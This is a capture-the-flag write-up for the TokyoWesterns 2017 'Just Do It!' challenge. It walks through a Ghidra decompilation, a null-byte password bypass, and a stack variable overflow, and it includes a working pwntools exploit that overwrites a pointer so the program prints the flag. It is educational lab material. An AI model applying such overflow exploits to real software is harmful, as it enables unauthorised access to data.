TokyoWesterns 2017 - Pwn - Just Do It!
The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.
Initial binary checks reveal the following:
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ pwn checksec just_do_it
[*] '/opt/nightmare/stack_bofs/variable_overflows/justdoit/just_do_it'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
When running the binary, it prompts us for a password.
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
the password.
Invalid Password, Try Again!
Let's crack the decompiled code open in Ghidra.
undefined4 main(void)
{
char *pcVar1;
int target;
char input [16];
FILE *local_18;
char *local_14;
undefined *local_c;
local_c = &stack0x00000004;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local_14 = failed_message;
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
perror("file open error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
pcVar1 = fgets(flag,0x30,local_18);
if (pcVar1 == (char *)0x0) {
perror("file read error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVar1 = fgets(input,0x20,stdin);
if (pcVar1 == (char *)0x0) {
perror("input error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
target = strcmp(input,PASSWORD);
if (target == 0) {
local_14 = success_message;
}
puts(local_14);
return 0;
}
So since we have the flag.txt file in our current directory, we're bypassing the file reading errors and input reading errors which check for a null input.
At the bottom, we can see it compares our input and a data segment called PASSWORD. Doubling clicking this takes us to the required string value.
Entering this into the program doesn't work!
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
P@SSW0RD
Invalid Password, Try Again!
This is because fgets
, the function reading in our input, adds a new like character onto the end when it's finished reading (0x0a
). So to get it working, we'll have to pass a null byte on the end of the P@SSW0RD
string which is what strcmp
will scan the variable until it finds, leaving us with the required string. I did it quickly in Python.
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ python3 -c "print('P@SSW0RD' + '\x00')" | ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!
We get the correct password, but no flag. Hmm. Let's take a closer look. We can see fgets
is reading in 0x20
bytes of input, or 32 decimal, if you will.
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVar1 = fgets(input,0x20,stdin);
We can also see that the input has been allocated a buffer of 16 bytes. This is also confirmed in the FUNCTION listing image by subtracting the local_18
stack offset with the input
stack offset (0x28 - 0x18 = 0x10 // 16 decimal)!
So we're reading in 32 bytes, but only have 16 bytes space in our input
variable. This means our next 16 bytes will spill into the following variables as the stack overflows.
We know that stack+0x18
is going to contain the flag opening stream and stack+0x14
is going to contain local_14
, AKA the success message. We're at stack+0x28
.
We can also see that local_14
gets printed to console when we pass the correct password.
target = strcmp(input,PASSWORD);
if (target == 0) {
local_14 = success_message;
}
puts(local_14);
return 0
So by my calculations, if we could locate the address of the flag in the program, then force the overwrite of local_14
with the address of the flag, it should then puts(flag)
. We'll need to send 0x28
- 0x14
= 0x14
, or 20 decimal bytes to get to the start of local_14
.
Let's look for the flag. I just double click the flag in the decompiler to obtain its address.
Let's try with Pwntools, sending 20 null bytes and then the flag address to see if we can get it to puts
the goods on the table for us.
from pwn import *
p = process('./just_do_it')
exploit = b'\x00' * 20 + p32(0x0804a080)
print(p.recvuntil('password.\n'))
p.send(exploit)
p.send('\n')
print(p.recvline())
Et voila!
┌──(inspired㉿working)-[/opt/nightmare/stack_bofs/variable_overflows/justdoit]
└─$ python3 playful.py
[+] Starting local process './just_do_it': pid 15130
b'Welcome my secret service. Do you know the password?\nInput the password.\n'
b'TWCTF{pwnable_warmup_I_did_it!}\n'